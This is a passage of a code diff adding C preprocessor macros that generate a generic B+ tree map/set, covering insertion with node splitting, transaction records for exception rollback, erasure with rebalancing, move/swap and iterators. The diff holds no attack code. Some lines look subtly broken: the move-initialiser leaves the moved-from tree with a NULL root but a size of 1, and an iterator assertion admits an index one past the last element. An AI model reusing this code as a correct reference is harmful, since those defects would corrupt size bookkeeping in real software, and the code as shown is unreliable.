+          M_ASSERT (false); /* Invalid transaction type */                    \
+      }                                                                       \
+    }                                                                         \
+    records->size = 0;                                                        \
+    return;                                                                   \
+  }                                                                           \
+                                                                              \
+  M_P(int, name, _i_search_and_insert_in_leaf, node_t n, key_t const key      \
+                          M_IF(isMap)( M_DEFERRED_COMMA value_t const value,) \
+                          M_IF_EXCEPTION( M_DEFERRED_COMMA m_bptr33_transaction_t records) ) \
+  {                                                                           \
+    M_ASSERT (M_F(name, _is_leaf)(n));                                        \
+    M_UNUSED_CONTEXT();                                                       \
+    int i, num = M_F(name, _get_num)(n);                                      \
+    M_ASSERT (num <= N);                                                      \
+    /* Search for the key in the node n (a leaf) for insertion */             \
+    for(i = 0; i < num; i++) {                                                \
+      int cmp = M_CALL_CMP(key_oplist, key, n->key[i]);                       \
+      if (cmp <= 0) {                                                         \
+        M_IF(isMulti)( /* Nothing to do : fallthrough */,                     \
+          /* Update value if keys are equal */                                \
+          if (M_UNLIKELY (cmp == 0)) {                                        \
+            M_IF(isMap)(M_CALL_SET(value_oplist, n->kind.value[i], value);,)  \
+            return -1;                                                        \
+          }                                                                   \
+        )                                                                     \
+        /* Move tables to make space for insertion */                         \
+        memmove(&n->key[i+1], &n->key[i], sizeof(key_t)*(unsigned int)(num-i)); \
+        M_IF(isMap)(memmove(&n->kind.value[i+1], &n->kind.value[i], sizeof(value_t)*(unsigned int)(num-i));,) \
+        break;                                                                \
+      }                                                                       \
+    }                                                                         \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_SHIFT_LEAF, n, i);             \
+    /* Increase the number of key in the node */                              \
+    n->num  += -1; /* Increase num as num<0 for leaf */                       \
+    /* Insert key & value if MAP mode */                                      \
+    M_CALL_INIT_SET(key_oplist, n->key[i], key);                              \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_INIT_KEY, &n->key[i], 0);      \
+    M_IF(isMap)(M_CALL_INIT_SET(value_oplist, n->kind.value[i], value);,)     \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_INIT_VALUE, &n->kind.value[i], 0); \
+    return i;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(int, name, _i_search_and_insert_in_node, node_t n, node_t l, key_t *key \
+                          M_IF_EXCEPTION( M_DEFERRED_COMMA m_bptr33_transaction_t records) ) \
+  {                                                                           \
+    M_ASSERT (!M_F(name, _is_leaf)(n));                                       \
+    M_UNUSED_CONTEXT();                                                       \
+    int i, num = M_F(name, _get_num)(n);                                      \
+    M_ASSERT (num <= N);                                                      \
+    /* Search for the key in the node n (not a leaf) for insertion */         \
+    for(i = 0; i < num; i++) {                                                \
+      if (n->kind.node[i] == l) {                                             \
+        /* Move tables to make space for insertion */                         \
+        memmove(&n->key[i+1], &n->key[i], sizeof(key_t)*(unsigned int)(num-i)); \
+        memmove(&n->kind.node[i+1], &n->kind.node[i], sizeof(node_t)*(unsigned int)(num-i+1)); \
+        break;                                                                \
+      }                                                                       \
+    }                                                                         \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_SHIFT_NODE, n, i);             \
+    /* Increase the number of key in the node */                              \
+    n->num  += 1;                                                             \
+    /* Insert key in node */                                                  \
+    /* If the leaf variable is a leaf node, we need to insert a copy of the key */ \
+    /* otherwise if it is node, we need to steal the key by moving it */      \
+    if (M_F(name, _is_leaf)(l)) {                                             \
+      M_CALL_INIT_SET(key_oplist, n->key[i], *key);                           \
+      M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_INIT_KEY, &n->key[i], 0);    \
+    } else {                                                                  \
+      M_CALL_INIT_MOVE(key_oplist, n->key[i], *key);                          \
+      M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_MOVE_KEY, &n->key[i], key);  \
+    }                                                                         \
+    return i;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_IF(isMap)(                                                                \
+    M_P(void, name, _set_at, tree_t b, key_t const key, value_t const value) , \
+    M_P(void, name, _push, tree_t b, key_t const key) )                       \
+  {                                                                           \
+    pit_t pit;                                                                \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    M_IF_EXCEPTION(m_bptr33_transaction_t records; records->size = 0;)        \
+    M_ON_EXCEPTION( M_F(name, _rewind_transaction)M_R(records); ) {           \
+    node_t leaf = M_F(name, _i_search_for_leaf)(pit, b, key), nleaf;          \
+    key_t *key_ptr;                                                           \
+    int num, nnum;                                                            \
+    /* Insert key into the leaf.*/                                            \
+    /* NOTE: Even if there is N elements, we can still add one more.*/        \
+    int i = M_F(name, _i_search_and_insert_in_leaf)M_R(leaf, key M_IF (isMap)(M_DEFERRED_COMMA value,) M_IF_EXCEPTION(M_DEFERRED_COMMA records)); \
+    if (i < 0) {                                                              \
+      /* Nothing to do anymore. key already exists in the tree.               \
+         value has been updated if needed */                                  \
+      M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                           \
+      goto exit;                                                              \
+    }                                                                         \
+    b->size ++;                                                               \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_INC_SIZE, b, 0);               \
+    /* Most likely case: leaf can accept key */                               \
+    num = -leaf->num;                                                         \
+    M_ASSERT (num > 0);                                                       \
+    if (M_LIKELY (num <= N)) {                                                \
+      /* nothing more to do */                                                \
+      M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                           \
+      goto exit;                                                              \
+    }                                                                         \
+    M_ASSERT (num == N+1);                                                    \
+                                                                              \
+    /* Needs to rebalance the B+TREE */                                       \
+    /* leaf is full: need to slip the leaf in two */                          \
+    nnum = (N + 1) / 2;                                                       \
+    num = N + 1 - nnum;                                                       \
+    nleaf = M_F(name, _new_node)(M_R_EXPAND_void);                            \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_NEW_NODE, nleaf, 0);           \
+    /* Move half objects to the new node */                                   \
+    memmove(&nleaf->key[0], &leaf->key[num], sizeof(key_t)*(unsigned int)nnum); \
+    M_IF(isMap)(memmove(&nleaf->kind.value[0], &leaf->kind.value[num], sizeof(value_t)*(unsigned int)nnum);,) \
+    leaf->num = -num;                                                         \
+    nleaf->num = -nnum;                                                       \
+    nleaf->next = leaf->next;                                                 \
+    leaf->next = nleaf;                                                       \
+    nleaf->prev = leaf;                                                       \
+    if (nleaf->next != NULL) {                                                \
+      nleaf->next->prev = nleaf;                                              \
+    }                                                                         \
+    M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_SPLIT_LEAF, leaf, nleaf);      \
+    M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, leaf, b->root);            \
+    M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, nleaf, b->root);           \
+    /* Update parent to inject *key_ptr that splits between (leaf, nleaf) */  \
+    key_ptr = &leaf->key[num-1];                                              \
+    while (true) {                                                            \
+      if (pit->num == 0) {                                                    \
+        /* We reach root ==> Need to increase the height of the tree.*/       \
+        node_t parent = M_F(name, _new_node)(M_R_EXPAND_void);                \
+        M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_NEW_NODE, parent, 0);      \
+        parent->num = 1;                                                      \
+        /* If the 'leaf' variable is a leaf node, we need to insert a copy of the key */ \
+        /* otherwise if it is node, we need to steal the key by moving it */  \
+        if (M_F(name, _is_leaf)(leaf)) {                                      \
+          M_CALL_INIT_SET(key_oplist, parent->key[0], *key_ptr);              \
+          M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_INIT_KEY, &parent->key[0], 0); \
+        } else {                                                              \
+          M_CALL_INIT_MOVE(key_oplist, parent->key[0], *key_ptr);             \
+          M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_MOVE_KEY, &parent->key[0], key_ptr); \
+        }                                                                     \
+        parent->kind.node[0] = leaf;                                          \
+        parent->kind.node[1] = nleaf;                                         \
+        b->root = parent;                                                     \
+        M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                         \
+        goto exit;                                                            \
+      }                                                                       \
+      /* Non root node. Get the parent node */                                \
+      node_t parent = pit->parent[--pit->num];                                \
+      /* Insert into parent (It is big enough to receive temporary one more) */ \
+      i = M_F(name, _i_search_and_insert_in_node)M_R(parent, leaf, key_ptr M_IF_EXCEPTION(M_DEFERRED_COMMA records)); \
+      parent->kind.node[i] = leaf;                                            \
+      parent->kind.node[i+1] = nleaf;                                         \
+      /* Test if parent node is full? */                                      \
+      if (M_LIKELY (parent->num <= N)) {                                      \
+        M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                         \
+        goto exit; /* No need to split parent.*/                              \
+      }                                                                       \
+      M_ASSERT (parent->num == N+1);                                          \
+      /* Need to split parent in {np} {med} {nnp} */                          \
+      int nnp = N / 2;                                                        \
+      int np = N - nnp;                                                       \
+      M_ASSERT (nnp > 0 && np > 0 && nnp+np+1 == N+1);                        \
+      node_t nparent = M_F(name, _new_node)(M_R_EXPAND_void);                 \
+      M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_NEW_NODE, nparent, 0);       \
+      /* Move half items to new node (Like a classic B-TREE)                  \
+         and **move** the median key to the grand-parent*/                    \
+      memmove(&nparent->key[0], &parent->key[np+1], sizeof(key_t)*(unsigned int)nnp); \
+      memmove(&nparent->kind.node[0], &parent->kind.node[np+1], sizeof(node_t)*(unsigned int)(nnp+1)); \
+      parent->num = np;                                                       \
+      nparent->num = nnp;                                                     \
+      nparent->next = parent->next;                                           \
+      parent->next = nparent;                                                 \
+      nparent->prev = parent;                                                 \
+      if (nparent->next != NULL) {                                            \
+        nparent->next->prev = nparent;                                        \
+      }                                                                       \
+      M_BPTR33_ADD_TRANSACTION(records, M_BPTR33_SPLIT_NODE, parent, nparent); \
+      M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, parent, b->root);        \
+      M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, nparent, b->root);       \
+      /* Prepare for the next step */                                         \
+      key_ptr = &parent->key[np];                                             \
+      /* Well, leaf is now a node */                                          \
+      leaf = parent;                                                          \
+      nleaf = nparent;                                                        \
+    }                                                                         \
+    exit:                                                                     \
+    /* Cannot use return on an exception protected block */                   \
+    (void)0; /* avoid warning about unused label */                           \
+    } /* On exception */                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(value_t *, name, _safe_get, tree_t b, key_t const key)                  \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    /* Not optimized implementation */                                        \
+    value_t *ret = M_F(name, _get)(b, key);                                   \
+    if (ret == NULL) {                                                        \
+      M_IF(isMap)(                                                            \
+        value_t v;                                                            \
+        M_CALL_INIT(value_oplist, v);                                         \
+        M_DEFER( M_CALL_CLEAR(value_oplist, v)) {                             \
+          M_F(name, _set_at)M_R(b, key, v);                                   \
+        }                                                                     \
+      ,                                                                       \
+        M_F(name, _push)(b, key);                                             \
+      )                                                                       \
+      ret = M_F(name, _get)(b, key);                                          \
+    }                                                                         \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(int, name, _i_search_and_remove_in_leaf, node_t n, key_t const key)     \
+  {                                                                           \
+    M_ASSERT(M_F(name, _is_leaf)(n));                                         \
+    M_UNUSED_CONTEXT();                                                       \
+    const int num = M_F(name, _get_num)(n);                                   \
+    for(int i = 0; i < num; i++) {                                            \
+      const int cmp = M_CALL_CMP(key_oplist, key, n->key[i]);                 \
+      if (cmp == 0) {                                                         \
+        /* found key ==> delete it */                                         \
+        M_CALL_CLEAR(key_oplist, n->key[i]);                                  \
+        M_IF(isMap)(M_CALL_CLEAR(value_oplist, n->kind.value[i]);,)           \
+        memmove(&n->key[i], &n->key[i+1], sizeof(key_t)*(unsigned int)(num-1-i)); \
+        M_IF(isMap)(memmove(&n->kind.value[i], &n->kind.value[i+1], sizeof(value_t)*(unsigned int)(num-1-i));,) \
+        n->num -= -1; /* decrease number as num is < 0 */                     \
+        return i;                                                             \
+      }                                                                       \
+    }                                                                         \
+    return -1; /* Not found */                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _i_left_shift, node_t parent, int k)                        \
+  {                                                                           \
+    M_ASSERT (parent != NULL && !M_F(name, _is_leaf)(parent));                \
+    M_ASSERT (0 <= k && k < M_F(name, _get_num)(parent));                     \
+    M_UNUSED_CONTEXT();                                                       \
+    node_t left = parent->kind.node[k];                                       \
+    node_t right = parent->kind.node[k+1];                                    \
+    M_ASSERT (left != NULL && right != NULL);                                 \
+    int num_left = M_F(name, _get_num)(left);                                 \
+    int num_right = M_F(name, _get_num)(right);                               \
+    M_ASSERT (num_left > N/2);                                                \
+    M_ASSERT (num_right < N/2);                                               \
+                                                                              \
+    /* Move one item from the left node to the right node */                  \
+    memmove(&right->key[1], &right->key[0], sizeof(key_t)*(unsigned int)num_right); \
+    if (M_F(name, _is_leaf)(left)) {                                          \
+      M_IF(isMap)(memmove (&right->kind.value[1], &right->kind.value[0], sizeof(value_t)*(unsigned int)num_right);,) \
+      memmove (&right->key[0], &left->key[num_left-1], sizeof (key_t));       \
+      M_IF(isMap)(memmove (&right->kind.value[0], &left->kind.value[num_left-1], sizeof (value_t));,) \
+      right->num = -num_right - 1;                                            \
+      left->num = -num_left + 1;                                              \
+      M_CALL_SET(key_oplist, parent->key[k], left->key[num_left-2]);          \
+    } else {                                                                  \
+      memmove(&right->kind.node[1], &right->kind.node[0], sizeof(node_t)*(unsigned int)(num_right+1)); \
+      /* parent[k] is moved to right[0] (clear). parent[k] is therefore clear */ \
+      memmove(&right->key[0], &parent->key[k], sizeof(key_t));                \
+      right->kind.node[0] = left->kind.node[num_left];                        \
+      right->num = num_right + 1;                                             \
+      left->num = num_left - 1;                                               \
+      /* left[n-1] is move to parent[k] (clear). left[n-1] is therefore clear */ \
+      memmove(&parent->key[k], &left->key[num_left-1], sizeof (key_t));       \
+    }                                                                         \
+    M_ASSERT (right->num != 0);                                               \
+    M_ASSERT (left->num != 0);                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _i_right_shift, node_t parent, int k)                       \
+  {                                                                           \
+    M_ASSERT (parent != NULL && !M_F(name, _is_leaf)(parent));                \
+    M_ASSERT (0 <= k && k < M_F(name, _get_num)(parent));                     \
+    M_UNUSED_CONTEXT();                                                       \
+    node_t left = parent->kind.node[k];                                       \
+    node_t right = parent->kind.node[k+1];                                    \
+    M_ASSERT (left != NULL && right != NULL);                                 \
+    int num_left = M_F(name, _get_num)(left);                                 \
+    int num_right = M_F(name, _get_num)(right);                               \
+    M_ASSERT (num_left < N/2);                                                \
+    M_ASSERT (num_right > N/2);                                               \
+                                                                              \
+    /* Move one item from the right node to the left node. */                 \
+    if (M_F(name, _is_leaf)(right)) {                                         \
+      memmove (&left->key[num_left], &right->key[0], sizeof(key_t));          \
+      memmove (&right->key[0], &right->key[1], sizeof(key_t)*(unsigned int)(num_right-1)); \
+      M_IF(isMap)(memmove (&left->kind.value[num_left], &right->kind.value[0], sizeof (value_t));,) \
+      M_IF(isMap)(memmove (&right->kind.value[0], &right->kind.value[1], sizeof(value_t)*(unsigned int)(num_right-1));,) \
+      right->num = -num_right + 1;                                            \
+      left->num = -num_left - 1;                                              \
+      M_CALL_SET(key_oplist, parent->key[k], left->key[num_left]);            \
+    } else {                                                                  \
+      memmove (&left->key[num_left], &parent->key[k], sizeof (key_t));        \
+      memmove (&parent->key[k], &right->key[0], sizeof (key_t));              \
+      memmove (&right->key[0], &right->key[1], sizeof(key_t)*(unsigned int)(num_right-1)); \
+      left->kind.node[num_left+1] = right->kind.node[0];                      \
+      memmove (&right->kind.node[0], &right->kind.node[1], sizeof(node_t)*(unsigned int)num_right); \
+      right->num = num_right - 1;                                             \
+      left->num = num_left + 1;                                               \
+    }                                                                         \
+    M_ASSERT (right->num != 0);                                               \
+    M_ASSERT (left->num != 0);                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _i_merge_node, node_t parent, int k, bool leaf)             \
+  {                                                                           \
+    M_ASSERT (parent != NULL && !M_F(name, _is_leaf)(parent));                \
+    M_ASSERT (0 <= k && k < M_F(name, _get_num(parent)));                     \
+    node_t left = parent->kind.node[k];                                       \
+    node_t right = parent->kind.node[k+1];                                    \
+    M_ASSERT (left != NULL && right != NULL);                                 \
+    int num_parent = M_F(name, _get_num)(parent);                             \
+    int num_left   = M_F(name, _get_num)(left);                               \
+    int num_right  = M_F(name, _get_num)(right);                              \
+                                                                              \
+    /* Merge node 'k' and 'k+1' into a single one */                          \
+    if (leaf) {                                                               \
+      M_ASSERT (num_left + num_right <= N);                                   \
+      memmove(&left->key[num_left], &right->key[0], sizeof(key_t)*(unsigned int)num_right); \
+      M_IF(isMap)(memmove(&left->kind.value[num_left], &right->kind.value[0], sizeof(value_t)*(unsigned int)num_right);,) \
+      left->num = -num_left - num_right;                                      \
+    } else {                                                                  \
+      M_ASSERT (num_left + num_right <= N -1);                                \
+      memmove(&left->key[num_left+1], &right->key[0], sizeof(key_t)*(unsigned int)num_right); \
+      memmove(&left->kind.node[num_left+1], &right->kind.node[0], sizeof(node_t)*(unsigned int)(num_right+1)); \
+      M_CALL_INIT_SET(key_oplist, left->key[num_left], parent->key[k]);       \
+      left->num = num_left + 1 + num_right;                                   \
+    }                                                                         \
+    left->next = right->next;                                                 \
+    if (left->next != NULL) {                                                 \
+      left->next->prev = left;                                                \
+    }                                                                         \
+    M_CALL_DEL(key_oplist, right);                                            \
+    /* remove k'th key from the parent */                                     \
+    M_CALL_CLEAR(key_oplist, parent->key[k]);                                 \
+    memmove(&parent->key[k], &parent->key[k+1], sizeof(key_t)*(unsigned int)(num_parent - k - 1)); \
+    memmove(&parent->kind.node[k+1], &parent->kind.node[k+2], sizeof(node_t)*(unsigned int)(num_parent - k -1)); \
+    parent->num --;                                                           \
+  }                                                                           \
+                                                                              \
+  /* We can also cache the index when we descend the tree.                    \
+     TODO: Bench if this is worth the effort.*/                               \
+  M_INLINE int                                                                \
+  M_F(name, _i_search_for_node)(node_t parent, node_t child)                  \
+  {                                                                           \
+    M_ASSERT (!M_F(name, _is_leaf)(parent));                                  \
+    int num = M_F(name, _get_num)(parent);                                    \
+    for (int i = 0; i <= num; i++) {                                          \
+      if (parent->kind.node[i] == child)                                      \
+        return i;                                                             \
+    }                                                                         \
+    return -1;                                                                \
+  }                                                                           \
+                                                                              \
+  M_P(bool, name, _erase, tree_t b, key_t const key)                          \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    pit_t pit;                                                                \
+    node_t leaf = M_F(name, _i_search_for_leaf)(pit, b, key);                 \
+    int k = M_F(name, _i_search_and_remove_in_leaf)M_R(leaf, key);            \
+    /* If key is not found ==> erase failed */                                \
+    if (k < 0) return false;                                                  \
+    /* Remove one item from the B+TREE */                                     \
+    b->size --;                                                               \
+    /* If number of keys greater than N>2 or root ==> Nothing more to do */   \
+    if (M_LIKELY (M_F(name, _get_num)(leaf) >= N/2) || pit->num == 0)         \
+      return true;                                                            \
+    /* Leaf is too small. Needs rebalancing */                                \
+    M_ASSERT (M_F(name, _get_num)(leaf) == N/2-1);                            \
+    bool pass1 = true;                                                        \
+    while (true) {                                                            \
+      M_ASSERT (pit->num > 0);                                                \
+      /* Search for node 'leaf' in parent */                                  \
+      node_t parent = pit->parent[--pit->num];                                \
+      M_ASSERT (parent != NULL);                                              \
+      k = M_F(name, _i_search_for_node)(parent, leaf);                        \
+      M_ASSUME(k >= 0);                                                       \
+      /* Look for the neighbour of the removed key. */                        \
+      /* if we can steal one key from them to keep our node balanced */       \
+      if (k > 0 && M_F(name, _get_num)(parent->kind.node[k-1]) > N/2) {       \
+        M_F(name, _i_left_shift)M_R(parent, k-1);                             \
+        return true;                                                          \
+      } else if (k < M_F(name, _get_num)(parent)                              \
+                 && M_F(name, _get_num)(parent->kind.node[k+1]) > N/2) {      \
+        M_F(name, _i_right_shift)M_R(parent, k);                              \
+        return true;                                                          \
+      }                                                                       \
+      /* Merge both nodes, removing 'k' from parent */                        \
+      if (k == M_F(name, _get_num)(parent))                                   \
+        k--;                                                                  \
+      M_ASSERT(k >= 0 && k < M_F(name, _get_num)(parent));                    \
+      /* Merge 'k' & 'k+1' & remove 'k' from parent */                        \
+      M_F(name, _i_merge_node)M_R(parent, k, pass1);                          \
+      /* Check if we need to continue */                                      \
+      if (M_F(name, _get_num)(parent) >= N/2)                                 \
+        return true;                                                          \
+      if (pit->num == 0) {                                                    \
+        /* We reach the root */                                               \
+        if (M_F(name, _get_num)(parent) == 0) {                               \
+          /* B+ Tree reduce its heigh by deleting the root: */                \
+          /* Update root to its unique child and delete it */                 \
+          b->root = parent->kind.node[0];                                     \
+          M_CALL_DEL(key_oplist, parent);                                     \
+        }                                                                     \
+        return true;                                                          \
+      }                                                                       \
+      /* Next iteration */                                                    \
+      leaf = parent;                                                          \
+      pass1 = false;                                                          \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(bool, name, _pop_at, value_t *ptr, tree_t b, key_t const key)           \
+  {                                                                           \
+    if (ptr != NULL) {                                                        \
+      /* Not optimized tree parsing */                                        \
+      value_t *ref = M_F(name, _get)(b, key);                                 \
+      if (ref == NULL) {                                                      \
+        return false;                                                         \
+      }                                                                       \
+      M_CALL_SET(value_oplist, *ptr, *ref);                                   \
+    }                                                                         \
+    return M_F(name, _erase)M_R(b, key);                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_t *                                                          \
+  M_F(name, _min)(const tree_t b)                                             \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    if (M_UNLIKELY (b->size == 0)) return NULL;                               \
+    node_t n = b->root;                                                       \
+    /* Scan down the nodes */                                                 \
+    while (!M_F(name, _is_leaf)(n)) {                                         \
+      n = n->kind.node[0];                                                    \
+    }                                                                         \
+    return &n->M_IF(isMap)(kind.value, key)[0];                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_t *                                                          \
+  M_F(name, _max)(const tree_t b)                                             \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    if (M_UNLIKELY (b->size == 0)) return NULL;                               \
+    node_t n = b->root;                                                       \
+    /* Scan down the nodes */                                                 \
+    while (!M_F(name, _is_leaf)(n)) {                                         \
+      n = n->kind.node[n->num];                                               \
+    }                                                                         \
+    return &n->M_IF(isMap)(kind.value, key)[-n->num-1];                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_t const *                                                    \
+  M_F(name, _cmin)(const tree_t tree)                                         \
+  {                                                                           \
+    return M_CONST_CAST(value_t, M_F(name, _min)(tree));                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_t const *                                                    \
+  M_F(name, _cmax)(const tree_t tree)                                         \
+  {                                                                           \
+    return M_CONST_CAST(value_t, M_F(name, _max)(tree));                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(tree_t b, tree_t ref)                                 \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, ref);                           \
+    M_ASSERT (b != NULL && b != ref);                                         \
+    b->size = ref->size;                                                      \
+    b->root = ref->root;                                                      \
+    ref->root = NULL;                                                         \
+    ref->size = 1;                                                            \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, tree_t b, tree_t ref)                                \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, ref);                           \
+    M_ASSERT (b != ref);                                                      \
+    M_F(name,_clear)M_R(b);                                                   \
+    M_F(name,_init_move)(b, ref);                                             \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, tree_t b, const tree_t o)                             \
+  {                                                                           \
+    /* NOTE: We could reuse the already allocated nodes of 'b'.               \
+       Not sure if it worth the effort */                                     \
+    tree_t tmp;                                                               \
+    M_ON_EXCEPTION( /* nothing*/) {                                           \
+      M_F(name, _init_set)M_R(tmp, o);                                        \
+      M_F(name, _move)M_R(b, tmp);                                            \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(tree_t tree1, tree_t tree2)                                \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, tree1);                         \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, tree2);                         \
+    M_SWAP(size_t, tree1->size, tree2->size);                                 \
+    M_SWAP(node_t, tree1->root, tree2->root);                                 \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, tree1);                         \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, tree2);                         \
+  }                                                                           \
+
+/* Define iterator functions. */
+#define M_BPTR33_DEF_IT(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const tree_t b)                                     \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    M_ASSERT (it != NULL);                                                    \
+    node_t n = b->root;                                                       \
+    /* Scan down the nodes */                                                 \
+    while (!M_F(name, _is_leaf)(n)) {                                         \
+      n = n->kind.node[0];                                                    \
+    }                                                                         \
+    it->node = n;                                                             \
+    it->idx  = 0;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, const tree_t b)                                 \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    M_ASSERT (it != NULL);                                                    \
+    node_t n = b->root;                                                       \
+    /* Scan down the nodes */                                                 \
+    while (!M_F(name, _is_leaf)(n)) {                                         \
+      n = n->kind.node[n->num];                                               \
+    }                                                                         \
+    it->node = n;                                                             \
+    it->idx  = -n->num;                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t itd, const it_t its)                                \
+  {                                                                           \
+    M_ASSERT (itd != NULL && its != NULL);                                    \
+    itd->node = its->node;                                                    \
+    itd->idx  = its->idx;                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(it_t it)                                                  \
+  {                                                                           \
+    M_ASSERT (it != NULL && it->node != NULL);                                \
+    M_ASSERT (M_F(name, _is_leaf)(it->node));                                 \
+    /* Test if the unsigned value is bigger:                                  \
+    allow to test both previous iteration (<0) and next iteration (>num) */   \
+    return (unsigned) it->idx >= (unsigned) -it->node->num;                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    return it1->node == it2->node && it1->idx == it2->idx;                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT (it != NULL && it->node != NULL);                                \
+    M_ASSERT (M_F(name, _is_leaf)(it->node));                                 \
+    it->idx ++;                                                               \
+    if (it->idx >= -it->node->num && it->node->next != NULL) {                \
+      it->node = it->node->next;                                              \
+      it->idx = 0;                                                            \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_ASSERT (it != NULL && it->node != NULL);                                \
+    M_ASSERT (M_F(name, _is_leaf)(it->node));                                 \
+    it->idx --;                                                               \
+    if (it->idx < 0 && it->node->prev != NULL) {                              \
+      it->node = it->node->prev;                                              \
+      it->idx = -it->node->num - 1;                                           \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, const tree_t b)                                \
+  {                                                                           \
+    M_F(name, _it_end)(it, b);                                                \
+    M_F(name, _previous)(it);                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE subtype_t *                                                        \
+  M_F(name, _ref)(it_t it)                                                    \
+  {                                                                           \
+    M_ASSERT (it != NULL && it->node != NULL);                                \
+    M_ASSERT (M_F(name, _is_leaf)(it->node));                                 \
+    M_ASSERT (it->idx >= 0 && it->idx <= -it->node->num);                     \
+    M_IF(isMap)(                                                              \
+                it->pair.key_ptr = &it->node->key[it->idx];                   \
+                it->pair.value_ptr = &it->node->kind.value[it->idx];          \
+                return &it->pair                                              \
+                ,                                                             \
+                return &it->node->key[it->idx]                                \
+                                                                        );    \
+  }                                                                           \
+                                                                              \
+  M_INLINE subtype_t const *                                                  \
+  M_F(name, _cref)(it_t it)                                                   \
+  {                                                                           \
+    return M_CONST_CAST(subtype_t, M_F(name, _ref)(it));                      \
+  }                                                                           \
+                                                                              \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_from)(it_t it, const tree_t b, key_t const key)               \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    M_ASSERT (it != NULL);                                                    \
+    pit_t pit;                                                                \
+    node_t n = M_F(name, _i_search_for_leaf)(pit, b, key);                    \
+    it->node = n;                                                             \
+    int i;                                                                    \
+    M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, n, b->root);               \
+    for(i = 0; i < -n->num; i++) {                                            \
+      if (M_CALL_CMP(key_oplist, key, n->key[i]) <= 0)                        \
+        break;                                                                \
+    }                                                                         \
+    if (i == -n->num && n->next != NULL) {                                    \
+      it->node = n->next;                                                     \
+      i = 0;                                                                  \
+    }                                                                         \
+    it->idx  = i;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_until_p)(it_t it, key_t const key)                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
